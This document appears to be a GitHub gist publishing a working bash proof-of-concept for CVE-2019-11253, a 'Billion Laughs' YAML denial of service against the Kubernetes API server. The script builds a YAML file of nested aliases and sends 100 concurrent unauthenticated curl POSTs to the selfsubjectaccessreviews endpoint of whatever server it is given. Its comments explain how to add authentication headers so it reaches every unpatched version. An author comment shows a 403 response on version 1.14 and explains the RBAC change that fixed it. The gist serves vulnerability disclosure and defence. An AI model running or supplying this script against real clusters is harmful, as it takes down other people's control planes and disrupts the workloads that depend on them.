Skip to content

Instantly share code, notes, and snippets.

@bgeesaman
Last active December 29, 2022 14:25
Show Gist options
  • Star 28 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save bgeesaman/0e0349e94cd22c48bf14d8a9b7d6b8f2 to your computer and use it in GitHub Desktop.
Save bgeesaman/0e0349e94cd22c48bf14d8a9b7d6b8f2 to your computer and use it in GitHub Desktop.
CVE-2019-11253 Kubernetes API Server YAML Parsing Remote Denial of Service PoC aka "Billion Laughs"
#!/usr/bin/env bash
# CVE-2019-11253
# https://github.com/kubernetes/kubernetes/issues/83253
# Shout out: @raesene for poc collab, @iancoldwater + @mauilion for
# HONKing inspiration and other guidance.
# Description: In Kubernetes 1.13 and below, the default configuration
# is that system:anonymous can request a selfsubjectaccessreview
# via mechanisms such as "kubectl auth can-i". This request can
# include POSTed YAML, and just the act of trying to parse it causes
# excessive memory usage by the API server. Anywhere from about 10
# to 100 concurrent requests of this nature can overwhelm the API
# server's resources and cause it to become unresponsive to the point
# that the worker nodes and user's running kubectl will believe the
# control plane is offline. Since requests can last up to 60s by
# default before the timeout kicks in, sustaining the attack only
# requires between 10 and ~100 requests per minute.
# Recommendation: Update Kubernetes to a release that includes YAML
# parsing resource limits and limit direct, public access to API
# servers. See the above GH issue for details.
# This will work for Kubernetes 1.13 and below if not patched without
# requiring auth. It can be modified to send valid authentication
# headers and then work against all non-patched versions.
APISERVER="${1:-localhost}"
CONCURRENT="${2:-100}"
YAML="yaml_dos.yml"
# The data here doesn't really have to be a valid SAR request since
# the API server is DoSed just trying to parse it.
if [ ! -f $YAML ]; then
cat > $YAML <<EOF
apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
metadata:
name: yaml-dos
namespace: default
data:
a: &a ["HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
j: &j [*i,*i,*i,*i,*i,*i,*i,*i,*i]
k: &k [*j,*j,*j,*j,*j,*j,*j,*j,*j]
l: &l [*l,*l,*l,*l,*l,*l,*l,*l,*l]
EOF
fi
echo "Sending billions of HONKs using a flock of ${CONCURRENT} flying geese to https://${APISERVER}..."
seq 1 ${CONCURRENT} | xargs -I{} -n 1 -P ${CONCURRENT} curl -sk -XPOST -H "Content-Type: application/yaml" --data-binary @"${YAML}" "https://${APISERVER}/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"
@bgeesaman
Copy link
Author

bgeesaman commented Oct 20, 2019

Checking K8s 1.14.6 and showing it is not available due to RBAC permissions preventing it anonymously:

$ curl -sk-XPOST -H "Content-Type: application/yaml" -d "" "https://my.api.server.ip/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
    
  },
  "status": "Failure",
  "message": "selfsubjectaccessreviews.authorization.k8s.io is forbidden: User \"system:anonymous\" cannot create resource \"selfsubjectaccessreviews\" in API group \"authorization.k8s.io\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "group": "authorization.k8s.io",
    "kind": "selfsubjectaccessreviews"
  },
  "code": 403
}

Kubernetes 1.14+ by default does not grant the ability to perform SelfSubjectAccessReviews and similar requests by system:anonymous. Again, see the Kubernetes Issue for the RBAC changes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment